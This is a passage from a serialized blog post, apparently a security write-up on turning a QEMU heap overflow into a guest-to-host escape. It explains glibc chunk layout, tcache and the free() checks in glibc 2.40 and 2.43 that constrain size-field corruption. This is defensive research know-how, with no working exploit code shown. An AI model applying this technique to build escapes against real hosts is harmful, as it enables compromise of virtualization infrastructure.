Primitive",{"type":22,"tag":23,"props":129824,"children":129825},{},[129826],{"type":27,"value":129827},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":22,"tag":23,"props":129829,"children":129830},{},[129831],{"type":27,"value":129832},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":22,"tag":23,"props":129834,"children":129835},{},[129836],{"type":27,"value":129837},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":22,"tag":22883,"props":129839,"children":129841},{"id":129840},"glibc-allocator",[129842],{"type":27,"value":129843},"Glibc Allocator",{"type":22,"tag":23,"props":129845,"children":129846},{},[129847,129849,129856],{"type":27,"value":129848},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":22,"tag":80,"props":129850,"children":129853},{"href":129851,"rel":129852},"https://github.com/shellphish/how2heap",[84],[129854],{"type":27,"value":129855},"how2heap",{"type":27,"value":231},{"type":22,"tag":41342,"props":129858,"children":129860},{"id":129859},"chunk-layout-and-bins",[129861],{"type":27,"value":129862},"Chunk Layout and Bins",{"type":22,"tag":23,"props":129864,"children":129865},{},[129866],{"type":27,"value":129867},"A chunk looks like this:",{"type":22,"tag":91,"props":129869,"children":129871},{"code":129870}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[129872],{"type":22,"tag":30,"props":129873,"children":129874},{"__ignoreMap":7},[129875],{"type":27,"value":129870},{"type":22,"tag":23,"props":129877,"children":129878},{},[129879,129881,129887,129889,129895,129896,129901,129902,129908,129910,129915,129917,129922,129924,129930,129931,129937,129939,129945],{"type":27,"value":129880},"The first 16 bytes form the chunk header. It consists of the ",{"type":22,"tag":30,"props":129882,"children":129884},{"className":129883},[],[129885],{"type":27,"value":129886},"prev_size",{"type":27,"value":129888}," field at offset ",{"type":22,"tag":30,"props":129890,"children":129892},{"className":129891},[],[129893],{"type":27,"value":129894},"0x0",{"type":27,"value":41546},{"type":22,"tag":30,"props":129897,"children":129899},{"className":129898},[],[129900],{"type":27,"value":127767},{"type":27,"value":129888},{"type":22,"tag":30,"props":129903,"children":129905},{"className":129904},[],[129906],{"type":27,"value":129907},"0x8",{"type":27,"value":129909},". As the name suggests, ",{"type":22,"tag":30,"props":129911,"children":129913},{"className":129912},[],[129914],{"type":27,"value":129886},{"type":27,"value":129916}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":22,"tag":30,"props":129918,"children":129920},{"className":129919},[],[129921],{"type":27,"value":127767},{"type":27,"value":129923}," stores the size of the current chunk and three special bits of which ",{"type":22,"tag":30,"props":129925,"children":129927},{"className":129926},[],[129928],{"type":27,"value":129929},"PREV_INUSE",{"type":27,"value":209},{"type":22,"tag":30,"props":129932,"children":129934},{"className":129933},[],[129935],{"type":27,"value":129936},"IS_MMAPPED",{"type":27,"value":129938}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":22,"tag":30,"props":129940,"children":129942},{"className":129941},[],[129943],{"type":27,"value":129944},"0x10",{"type":27,"value":231},{"type":22,"tag":23,"props":129947,"children":129948},{},[129949],{"type":27,"value":129950},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":22,"tag":41342,"props":129952,"children":129954},{"id":129953},"free-path",[129955],{"type":27,"value":129956},"free() path",{"type":22,"tag":23,"props":129958,"children":129959},{},[129960,129962,129968],{"type":27,"value":129961},"Let’s first look at the ",{"type":22,"tag":30,"props":129963,"children":129965},{"className":129964},[],[129966],{"type":27,"value":129967},"free()",{"type":27,"value":129969}," path in glibc 2.40:",{"type":22,"tag":91,"props":129971,"children":129973},{"code":129972,"language":7187,"meta":7,"className":20513,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[129974],{"type":22,"tag":30,"props":129975,"children":129976},{"__ignoreMap":7},[129977,130005,130012,130020,130028,130035,130057,130078,130085,130098,130105,130113,130120,130133,130140,130161,130182,130189],{"type":22,"tag":101,"props":129978,"children":129979},{"class":103,"line":104},[129980,129985,129989,129993,129997,130001],{"type":22,"tag":101,"props":129981,"children":129982},{"style":926},[129983],{"type":27,"value":129984},"__libc_free",{"type":22,"tag":101,"props":129986,"children":129987},{"style":120},[129988],{"type":27,"value":3603},{"type":22,"tag":101,"props":129990,"children":129991},{"style":108},[129992],{"type":27,"value":55623},{"type":22,"tag":101,"props":129994,"children":129995},{"style":166},[129996],{"type":27,"value":13822},{"type":22,"tag":101,"props":129998,"children":129999},{"style":126},[130000],{"type":27,"value":44659},{"type":22,"tag":101,"props":130002,"children":130003},{"style":120},[130004],{"type":27,"value":2510},{"type":22,"tag":101,"props":130006,"children":130007},{"class":103,"line":157},[130008],{"type":22,"tag":101,"props":130009,"children":130010},{"style":120},[130011],{"type":27,"value":14886},{"type":22,"tag":101,"props":130013,"children":130014},{"class":103,"line":182},[130015],{"type":22,"tag":101,"props":130016,"children":130017},{"style":120},[130018],{"type":27,"value":130019}," mstate ar_ptr;\n",{"type":22,"tag":101,"props":130021,"children":130022},{"class":103,"line":367},[130023],{"type":22,"tag":101,"props":130024,"children":130025},{"style":120},[130026],{"type":27,"value":130027}," mchunkptr p;\n",{"type":22,"tag":101,"props":130029,"children":130030},{"class":103,"line":398},[130031],{"type":22,"tag":101,"props":130032,"children":130033},{"emptyLinePlaceholder":15},[130034],{"type":27,"value":1581},{"type":22,"tag":101,"props":130036,"children":130037},{"class":103,"line":428},[130038,130043,130047,130052],{"type":22,"tag":101,"props":130039,"children":130040},{"style":120},[130041],{"type":27,"value":130042}," p ",{"type":22,"tag":101,"props":130044,"children":130045},{"style":166},[130046],{"type":27,"value":1511},{"type":22,"tag":101,"props":130048,"children":130049},{"style":926},[130050],{"type":27,"value":130051}," mem2chunk",{"type":22,"tag":101,"props":130053,"children":130054},{"style":120},[130055],{"type":27,"value":130056}," (mem);\n",{"type":22,"tag":101,"props":130058,"children":130059},{"class":103,"line":997},[130060,130064,130068,130073],{"type":22,"tag":101,"props":130061,"children":130062},{"style":3595},[130063],{"type":27,"value":35390},{"type":22,"tag":101,"props":130065,"children":130066},{"style":120},[130067],{"type":27,"value":3603},{"type":22,"tag":101,"props":130069,"children":130070},{"style":926},[130071],{"type":27,"value":130072},"chunk_is_mmapped",{"type":22,"tag":101,"props":130074,"children":130075},{"style":120},[130076],{"type":27,"value":130077}," (p))\n",{"type":22,"tag":101,"props":130079,"children":130080},{"class":103,"line":1032},[130081],{"type":22,"tag":101,"props":130082,"children":130083},{"style":120},[130084],{"type":27,"value":33186},{"type":22,"tag":101,"props":130086,"children":130087},{"class":103,"line":1063},[130088,130093],{"type":22,"tag":101,"props":130089,"children":130090},{"style":926},[130091],{"type":27,"value":130092}," munmap_chunk",{"type":22,"tag":101,"props":130094,"children":130095},{"style":120},[130096],{"type":27,"value":130097}," (p);\n",{"type":22,"tag":101,"props":130099,"children":130100},{"class":103,"line":1071},[130101],{"type":22,"tag":101,"props":130102,"children":130103},{"style":120},[130104],{"type":27,"value":1734},{"type":22,"tag":101,"props":130106,"children":130107},{"class":103,"line":1110},[130108],{"type":22,"tag":101,"props":130109,"children":130110},{"style":3595},[130111],{"type":27,"value":130112}," else\n",{"type":22,"tag":101,"props":130114,"children":130115},{"class":103,"line":1118},[130116],{"type":22,"tag":101,"props":130117,"children":130118},{"style":120},[130119],{"type":27,"value":33186},{"type":22,"tag":101,"props":130121,"children":130122},{"class":103,"line":1158},[130123,130128],{"type":22,"tag":101,"props":130124,"children":130125},{"style":926},[130126],{"type":27,"value":130127}," MAYBE_INIT_TCACHE",{"type":22,"tag":101,"props":130129,"children":130130},{"style":120},[130131],{"type":27,"value":130132}," ();\n",{"type":22,"tag":101,"props":130134,"children":130135},{"class":103,"line":1166},[130136],{"type":22,"tag":101,"props":130137,"children":130138},{"emptyLinePlaceholder":15},[130139],{"type":27,"value":1581},{"type":22,"tag":101,"props":130141,"children":130142},{"class":103,"line":1215},[130143,130148,130152,130157],{"type":22,"tag":101,"props":130144,"children":130145},{"style":120},[130146],{"type":27,"value":130147}," ar_ptr ",{"type":22,"tag":101,"props":130149,"children":130150},{"style":166},[130151],{"type":27,"value":1511},{"type":22,"tag":101,"props":130153,"children":130154},{"style":926},[130155],{"type":27,"value":130156}," arena_for_chunk",{"type":22,"tag":101,"props":130158,"children":130159},{"style":120},[130160],{"type":27,"value":130097},{"type":22,"tag":101,"props":130162,"children":130163},{"class":103,"line":2425},[130164,130169,130174,130178],{"type":22,"tag":101,"props":130165,"children":130166},{"style":926},[130167],{"type":27,"value":130168}," _int_free",{"type":22,"tag":101,"props":130170,"children":130171},{"style":120},[130172],{"type":27,"value":130173}," (ar_ptr, p, ",{"type":22,"tag":101,"props":130175,"children":130176},{"style":1544},[130177],{"type":27,"value":8065},{"type":22,"tag":101,"props":130179,"children":130180},{"style":120},[130181],{"type":27,"value":994},{"type":22,"tag":101,"props":130183,"children":130184},{"class":103,"line":5417},[130185],{"type":22,"tag":101,"props":130186,"children":130187},{"style":120},[130188],{"type":27,"value":1734},{"type":22,"tag":101,"props":130190,"children":130191},{"class":103,"line":7714},[130192],{"type":22,"tag":101,"props":130193,"children":130194},{"style":120},[130195],{"type":27,"value":188},{"type":22,"tag":23,"props":130197,"children":130198},{},[130199,130201,130206,130208,130213,130215,130221,130223,130229,130231,130236,130238,130243,130245,130250,130252,130257],{"type":27,"value":130200},"We can see that if the ",{"type":22,"tag":30,"props":130202,"children":130204},{"className":130203},[],[130205],{"type":27,"value":129936},{"type":27,"value":130207}," bit is set in the corrupted ",{"type":22,"tag":30,"props":130209,"children":130211},{"className":130210},[],[130212],{"type":27,"value":127767},{"type":27,"value":130214}," field, glibc will call ",{"type":22,"tag":30,"props":130216,"children":130218},{"className":130217},[],[130219],{"type":27,"value":130220},"munmap_chunk",{"type":27,"value":130222},", which internally checks that ",{"type":22,"tag":30,"props":130224,"children":130226},{"className":130225},[],[130227],{"type":27,"value":130228},"prev_size + size",{"type":27,"value":130230}," is page-aligned. To reach the ",{"type":22,"tag":30,"props":130232,"children":130234},{"className":130233},[],[130235],{"type":27,"value":127767},{"type":27,"value":130237}," field, we first have to overwrite the entire 8-byte ",{"type":22,"tag":30,"props":130239,"children":130241},{"className":130240},[],[130242],{"type":27,"value":129886},{"type":27,"value":130244}," field with uncontrolled data. The chance that a corrupted ",{"type":22,"tag":30,"props":130246,"children":130248},{"className":130247},[],[130249],{"type":27,"value":130228},{"type":27,"value":130251}," value still ends up page-aligned is extremely small. In practice, if ",{"type":22,"tag":30,"props":130253,"children":130255},{"className":130254},[],[130256],{"type":27,"value":129936},{"type":27,"value":130258}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":22,"tag":23,"props":130260,"children":130261},{},[130262,130264,130269,130271,130277],{"type":27,"value":130263},"Assuming ",{"type":22,"tag":30,"props":130265,"children":130267},{"className":130266},[],[130268],{"type":27,"value":129936},{"type":27,"value":130270}," is not set, execution continues into ",{"type":22,"tag":30,"props":130272,"children":130274},{"className":130273},[],[130275],{"type":27,"value":130276},"_int_free",{"type":27,"value":169},{"type":22,"tag":91,"props":130279,"children":130281},{"code":130280,"language":7187,"meta":7,"className":20513,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[130282],{"type":22,"tag":30,"props":130283,"children":130284},{"__ignoreMap":7},[130285,130297,130340,130347,130355,130362,130383,130390,130398,130406,130414,130422,130486,130521,130542,130550,130558,130606,130626,130633,130646,130653],{"type":22,"tag":101,"props":130286,"children":130287},{"class":103,"line":104},[130288,130292],{"type":22,"tag":101,"props":130289,"children":130290},{"style":108},[130291],{"type":27,"value":55040},{"type":22,"tag":101,"props":130293,"children":130294},{"style":108},[130295],{"type":27,"value":130296}," void\n",{"type":22,"tag":101,"props":130298,"children":130299},{"class":103,"line":157},[130300,130304,130309,130314,130319,130323,130327,130331,130336],{"type":22,"tag":101,"props":130301,"children":130302},{"style":926},[130303],{"type":27,"value":130276},{"type":22,"tag":101,"props":130305,"children":130306},{"style":120},[130307],{"type":27,"value":130308}," (mstate ",{"type":22,"tag":101,"props":130310,"children":130311},{"style":126},[130312],{"type":27,"value":130313},"av",{"type":22,"tag":101,"props":130315,"children":130316},{"style":120},[130317],{"type":27,"value":130318},", mchunkptr ",{"type":22,"tag":101,"props":130320,"children":130321},{"style":126},[130322],{"type":27,"value":23},{"type":22,"tag":101,"props":130324,"children":130325},{"style":120},[130326],{"type":27,"value":758},{"type":22,"tag":101,"props":130328,"children":130329},{"style":108},[130330],{"type":27,"value":23037},{"type":22,"tag":101,"props":130332,"children":130333},{"style":126},[130334],{"type":27,"value":130335}," have_lock",{"type":22,"tag":101,"props":130337,"children":130338},{"style":120},[130339],{"type":27,"value":2510},{"type":22,"tag":101,"props":130341,"children":130342},{"class":103,"line":182},[130343],{"type":22,"tag":101,"props":130344,"children":130345},{"style":120},[130346],{"type":27,"value":14886},{"type":22,"tag":101,"props":130348,"children":130349},{"class":103,"line":367},[130350],{"type":22,"tag":101,"props":130351,"children":130352},{"style":120},[130353],{"type":27,"value":130354}," INTERNAL_SIZE_T size;\n",{"type":22,"tag":101,"props":130356,"children":130357},{"class":103,"line":398},[130358],{"type":22,"tag":101,"props":130359,"children":130360},{"emptyLinePlaceholder":15},[130361],{"type":27,"value":1581},{"type":22,"tag":101,"props":130363,"children":130364},{"class":103,"line":428},[130365,130370,130374,130379],{"type":22,"tag":101,"props":130366,"children":130367},{"style":120},[130368],{"type":27,"value":130369}," size ",{"type":22,"tag":101,"props":130371,"children":130372},{"style":166},[130373],{"type":27,"value":1511},{"type":22,"tag":101,"props":130375,"children":130376},{"style":926},[130377],{"type":27,"value":130378}," chunksize",{"type":22,"tag":101,"props":130380,"children":130381},{"style":120},[130382],{"type":27,"value":130097},{"type":22,"tag":101,"props":130384,"children":130385},{"class":103,"line":997},[130386],{"type":22,"tag":101,"props":130387,"children":130388},{"emptyLinePlaceholder":15},[130389],{"type":27,"value":1581},{"type":22,"tag":101,"props":130391,"children":130392},{"class":103,"line":1032},[130393],{"type":22,"tag":101,"props":130394,"children":130395},{"style":2215},[130396],{"type":27,"value":130397}," /* Little security check which won't hurt performance: the\n",{"type":22,"tag":101,"props":130399,"children":130400},{"class":103,"line":1063},[130401],{"type":22,"tag":101,"props":130402,"children":130403},{"style":2215},[130404],{"type":27,"value":130405}," allocator never wraps around at the end of the address space.\n",{"type":22,"tag":101,"props":130407,"children":130408},{"class":103,"line":1071},[130409],{"type":22,"tag":101,"props":130410,"children":130411},{"style":2215},[130412],{"type":27,"value":130413}," Therefore we can exclude some size values which might appear\n",{"type":22,"tag":101,"props":130415,"children":130416},{"class":103,"line":1110},[130417],{"type":22,"tag":101,"props":130418,"children":130419},{"style":2215},[130420],{"type":27,"value":130421}," here by accident or by \"design\" from some intruder. */\n",{"type":22,"tag":101,"props":130423,"children":130424},{"class":103,"line":1118},[130425,130429,130433,130438,130443,130448,130453,130457,130461,130465,130469,130473,130478,130482],{"type":22,"tag":101,"props":130426,"children":130427},{"style":3595},[130428],{"type":27,"value":35390},{"type":22,"tag":101,"props":130430,"children":130431},{"style":120},[130432],{"type":27,"value":3603},{"type":22,"tag":101,"props":130434,"children":130435},{"style":926},[130436],{"type":27,"value":130437},"__builtin_expect",{"type":22,"tag":101,"props":130439,"children":130440},{"style":120},[130441],{"type":27,"value":130442}," ((",{"type":22,"tag":101,"props":130444,"children":130445},{"style":108},[130446],{"type":27,"value":130447},"uintptr_t",{"type":22,"tag":101,"props":130449,"children":130450},{"style":120},[130451],{"type":27,"value":130452},") p ",{"type":22,"tag":101,"props":130454,"children":130455},{"style":166},[130456],{"type":27,"value":14467},{"type":22,"tag":101,"props":130458,"children":130459},{"style":120},[130460],{"type":27,"value":3603},{"type":22,"tag":101,"props":130462,"children":130463},{"style":108},[130464],{"type":27,"value":130447},{"type":22,"tag":101,"props":130466,"children":130467},{"style":120},[130468],{"type":27,"value":901},{"type":22,"tag":101,"props":130470,"children":130471},{"style":166},[130472],{"type":27,"value":8372},{"type":22,"tag":101,"props":130474,"children":130475},{"style":120},[130476],{"type":27,"value":130477},"size, ",{"type":22,"tag":101,"props":130479,"children":130480},{"style":1544},[130481],{"type":27,"value":8065},{"type":22,"tag":101,"props":130483,"children":130484},{"style":120},[130485],{"type":27,"value":2510},{"type":22,"tag":101,"props":130487,"children":130488},{"class":103,"line":1158},[130489,130494,130499,130503,130508,130513,130517],{"type":22,"tag":101,"props":130490,"children":130491},{"style":166},[130492],{"type":27,"value":130493}," ||",{"type":22,"tag":101,"props":130495,"children":130496},{"style":926},[130497],{"type":27,"value":130498}," __builtin_expect",{"type":22,"tag":101,"props":130500,"children":130501},{"style":120},[130502],{"type":27,"value":3603},{"type":22,"tag":101,"props":130504,"children":130505},{"style":926},[130506],{"type":27,"value":130507},"misaligned_chunk",{"type":22,"tag":101,"props":130509,"children":130510},{"style":120},[130511],{"type":27,"value":130512}," (p), ",{"type":22,"tag":101,"props":130514,"children":130515},{"style":1544},[130516],{"type":27,"value":8065},{"type":22,"tag":101,"props":130518,"children":130519},{"style":120},[130520],{"type":27,"value":23703},{"type":22,"tag":101,"props":130522,"children":130523},{"class":103,"line":1166},[130524,130529,130533,130538],{"type":22,"tag":101,"props":130525,"children":130526},{"style":926},[130527],{"type":27,"value":130528}," malloc_printerr",{"type":22,"tag":101,"props":130530,"children":130531},{"style":120},[130532],{"type":27,"value":3603},{"type":22,"tag":101,"props":130534,"children":130535},{"style":6476},[130536],{"type":27,"value":130537},"\"free(): invalid pointer\"",{"type":22,"tag":101,"props":130539,"children":130540},{"style":120},[130541],{"type":27,"value":994},{"type":22,"tag":101,"props":130543,"children":130544},{"class":103,"line":1215},[130545],{"type":22,"tag":101,"props":130546,"children":130547},{"style":2215},[130548],{"type":27,"value":130549}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":22,"tag":101,"props":130551,"children":130552},{"class":103,"line":2425},[130553],{"type":22,"tag":101,"props":130554,"children":130555},{"style":2215},[130556],{"type":27,"value":130557}," multiple of MALLOC_ALIGNMENT. */\n",{"type":22,"tag":101,"props":130559,"children":130560},{"class":103,"line":5417},[130561,130565,130569,130574,130579,130583,130588,130592,130596,130601],{"type":22,"tag":101,"props":130562,"children":130563},{"style":3595},[130564],{"type":27,"value":35390},{"type":22,"tag":101,"props":130566,"children":130567},{"style":120},[130568],{"type":27,"value":3603},{"type":22,"tag":101,"props":130570,"children":130571},{"style":926},[130572],{"type":27,"value":130573},"__glibc_unlikely",{"type":22,"tag":101,"props":130575,"children":130576},{"style":120},[130577],{"type":27,"value":130578}," (size ",{"type":22,"tag":101,"props":130580,"children":130581},{"style":166},[130582],{"type":27,"value":123},{"type":22,"tag":101,"props":130584,"children":130585},{"style":120},[130586],{"type":27,"value":130587}," MINSIZE ",{"type":22,"tag":101,"props":130589,"children":130590},{"style":166},[130591],{"type":27,"value":26406},{"type":22,"tag":101,"props":130593,"children":130594},{"style":166},[130595],{"type":27,"value":16868},{"type":22,"tag":101,"props":130597,"children":130598},{"style":926},[130599],{"type":27,"value":130600},"aligned_OK",{"type":22,"tag":101,"props":130602,"children":130603},{"style":120},[130604],{"type":27,"value":130605}," (size)))\n",{"type":22,"tag":101,"props":130607,"children":130608},{"class":103,"line":7714},[130609,130613,130617,130622],{"type":22,"tag":101,"props":130610,"children":130611},{"style":926},[130612],{"type":27,"value":130528},{"type":22,"tag":101,"props":130614,"children":130615},{"style":120},[130616],{"type":27,"value":3603},{"type":22,"tag":101,"props":130618,"children":130619},{"style":6476},[130620],{"type":27,"value":130621},"\"free(): invalid size\"",{"type":22,"tag":101,"props":130623,"children":130624},{"style":120},[130625],{"type":27,"value":994},{"type":22,"tag":101,"props":130627,"children":130628},{"class":103,"line":7723},[130629],{"type":22,"tag":101,"props":130630,"children":130631},{"emptyLinePlaceholder":15},[130632],{"type":27,"value":1581},{"type":22,"tag":101,"props":130634,"children":130635},{"class":103,"line":7791},[130636,130641],{"type":22,"tag":101,"props":130637,"children":130638},{"style":926},[130639],{"type":27,"value":130640}," check_inuse_chunk",{"type":22,"tag":101,"props":130642,"children":130643},{"style":120},[130644],{"type":27,"value":130645},"(av, p);\n",{"type":22,"tag":101,"props":130647,"children":130648},{"class":103,"line":7799},[130649],{"type":22,"tag":101,"props":130650,"children":130651},{"emptyLinePlaceholder":15},[130652],{"type":27,"value":1581},{"type":22,"tag":101,"props":130654,"children":130655},{"class":103,"line":7829},[130656],{"type":22,"tag":101,"props":130657,"children":130658},{"style":120},[130659],{"type":27,"value":130660}," [...]\n",{"type":22,"tag":23,"props":130662,"children":130663},{},[130664],{"type":27,"value":130665},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":22,"tag":23,"props":130667,"children":130668},{},[130669,130671,130676,130678,130683,130685,130690,130692,130697],{"type":27,"value":130670},"The next check, however, ensures that the ",{"type":22,"tag":30,"props":130672,"children":130674},{"className":130673},[],[130675],{"type":27,"value":127767},{"type":27,"value":130677}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":22,"tag":30,"props":130679,"children":130681},{"className":130680},[],[130682],{"type":27,"value":127767},{"type":27,"value":130684}," must preserve alignment while also avoiding the ",{"type":22,"tag":30,"props":130686,"children":130688},{"className":130687},[],[130689],{"type":27,"value":129936},{"type":27,"value":130691}," bit. Under those constraints, exploiting the bug through ",{"type":22,"tag":30,"props":130693,"children":130695},{"className":130694},[],[130696],{"type":27,"value":127767},{"type":27,"value":130698}," corruption looked very unreliable at first.",{"type":22,"tag":23,"props":130700,"children":130701},{},[130702],{"type":27,"value":130703},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":22,"tag":91,"props":130705,"children":130707},{"code":130706,"language":7187,"meta":7,"className":20513,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[130708],{"type":22,"tag":30,"props":130709,"children":130710},{"__ignoreMap":7},[130711,130719,130746,130753,130760,130767,130786,130793,130813,130820,130848,130872,130879,130892,130934,130941,130949,130956,130973],{"type":22,"tag":101,"props":130712,"children":130713},{"class":103,"line":104},[130714],{"type":22,"tag":101,"props":130715,"children":130716},{"style":108},[130717],{"type":27,"value":130718},"void\n",{"type":22,"tag":101,"props":130720,"children":130721},{"class":103,"line":157},[130722,130726,130730,130734,130738,130742],{"type":22,"tag":101,"props":130723,"children":130724},{"style":926},[130725],{"type":27,"value":129984},{"type":22,"tag":101,"props":130727,"children":130728},{"style":120},[130729],{"type":27,"value":3603},{"type":22,"tag":101,"props":130731,"children":130732},{"style":108},[130733],{"type":27,"value":55623},{"type":22,"tag":101,"props":130735,"children":130736},{"style":166},[130737],{"type":27,"value":13822},{"type":22,"tag":101,"props":130739,"children":130740},{"style":126},[130741],{"type":27,"value":44659},{"type":22,"tag":101,"props":130743,"children":130744},{"style":120},[130745],{"type":27,"value":2510},{"type":22,"tag":101,"props":130747,"children":130748},{"class":103,"line":182},[130749],{"type":22,"tag":101,"props":130750,"children":130751},{"style":120},[130752],{"type":27,"value":14886},{"type":22,"tag":101,"props":130754,"children":130755},{"class":103,"line":367},[130756],{"type":22,"tag":101,"props":130757,"children":130758},{"style":120},[130759],{"type":27,"value":130027},{"type":22,"tag":101,"props":130761,"children":130762},{"class":103,"line":398},[130763],{"type":22,"tag":101,"props":130764,"children":130765},{"emptyLinePlaceholder":15},[130766],{"type":27,"value":1581},{"type":22,"tag":101,"props":130768,"children":130769},{"class":103,"line":428},[130770,130774,130778,130782],{"type":22,"tag":101,"props":130771,"children":130772},{"style":120},[130773],{"type":27,"value":130042},{"type":22,"tag":101,"props":130775,"children":130776},{"style":166},[130777],{"type":27,"value":1511},{"type":22,"tag":101,"props":130779,"children":130780},{"style":926},[130781],{"type":27,"value":130051},{"type":22,"tag":101,"props":130783,"children":130784},{"style":120},[130785],{"type":27,"value":130056},{"type":22,"tag":101,"props":130787,"children":130788},{"class":103,"line":997},[130789],{"type":22,"tag":101,"props":130790,"children":130791},{"emptyLinePlaceholder":15},[130792],{"type":27,"value":1581},{"type":22,"tag":101,"props":130794,"children":130795},{"class":103,"line":1032},[130796,130801,130805,130809],{"type":22,"tag":101,"props":130797,"children":130798},{"style":120},[130799],{"type":27,"value":130800}," INTERNAL_SIZE_T size ",{"type":22,"tag":101,"props":130802,"children":130803},{"style":166},[130804],{"type":27,"value":1511},{"type":22,"tag":101,"props":130806,"children":130807},{"style":926},[130808],{"type":27,"value":130378},{"type":22,"tag":101,"props":130810,"children":130811},{"style":120},[130812],{"type":27,"value":130097},{"type":22,"tag":101,"props":130814,"children":130815},{"class":103,"line":1063},[130816],{"type":22,"tag":101,"props":130817,"children":130818},{"emptyLinePlaceholder":15},[130819],{"type":27,"value":1581},{"type":22,"tag":101,"props":130821,"children":130822},{"class":103,"line":1071},[130823,130827,130831,130835,130839,130843],{"type":22,"tag":101,"props":130824,"children":130825},{"style":3595},[130826],{"type":27,"value":35390},{"type":22,"tag":101,"props":130828,"children":130829},{"style":120},[130830],{"type":27,"value":3603},{"type":22,"tag":101,"props":130832,"children":130833},{"style":926},[130834],{"type":27,"value":130573},{"type":22,"tag":101,"props":130836,"children":130837},{"style":120},[130838],{"type":27,"value":3603},{"type":22,"tag":101,"props":130840,"children":130841},{"style":926},[130842],{"type":27,"value":130507},{"type":22,"tag":101,"props":130844,"children":130845},{"style":120},[130846],{"type":27,"value":130847}," (p)))\n",{"type":22,"tag":101,"props":130849,"children":130850},{"class":103,"line":1110},[130851,130855,130860,130864,130868],{"type":22,"tag":101,"props":130852,"children":130853},{"style":3595},[130854],{"type":27,"value":20986},{"type":22,"tag":101,"props":130856,"children":130857},{"style":926},[130858],{"type":27,"value":130859}," malloc_printerr_tail",{"type":22,"tag":101,"props":130861,"children":130862},{"style":120},[130863],{"type":27,"value":3603},{"type":22,"tag":101,"props":130865,"children":130866},{"style":6476},[130867],{"type":27,"value":130537},{"type":22,"tag":101,"props":130869,"children":130870},{"style":120},[130871],{"type":27,"value":994},{"type":22,"tag":101,"props":130873,"children":130874},{"class":103,"line":1118},[130875],{"type":22,"tag":101,"props":130876,"children":130877},{"emptyLinePlaceholder":15},[130878],{"type":27,"value":1581},{"type":22,"tag":101,"props":130880,"children":130881},{"class":103,"line":1158},[130882,130887],{"type":22,"tag":101,"props":130883,"children":130884},{"style":3595},[130885],{"type":27,"value":130886},"#if",{"type":22,"tag":101,"props":130888,"children":130889},{"style":926},[130890],{"type":27,"value":130891}," USE_TCACHE\n",{"type":22,"tag":101,"props":130893,"children":130894},{"class":103,"line":1166},[130895,130899,130903,130908,130912,130916,130921,130925,130930],{"type":22,"tag":101,"props":130896,"children":130897},{"style":3595},[130898],{"type":27,"value":35390},{"type":22,"tag":101,"props":130900,"children":130901},{"style":120},[130902],{"type":27,"value":3603},{"type":22,"tag":101,"props":130904,"children":130905},{"style":926},[130906],{"type":27,"value":130907},"__glibc_likely",{"type":22,"tag":101,"props":130909,"children":130910},{"style":120},[130911],{"type":27,"value":130578},{"type":22,"tag":101,"props":130913,"children":130914},{"style":166},[130915],{"type":27,"value":123},{"type":22,"tag":101,"props":130917,"children":130918},{"style":126},[130919],{"type":27,"value":130920}," 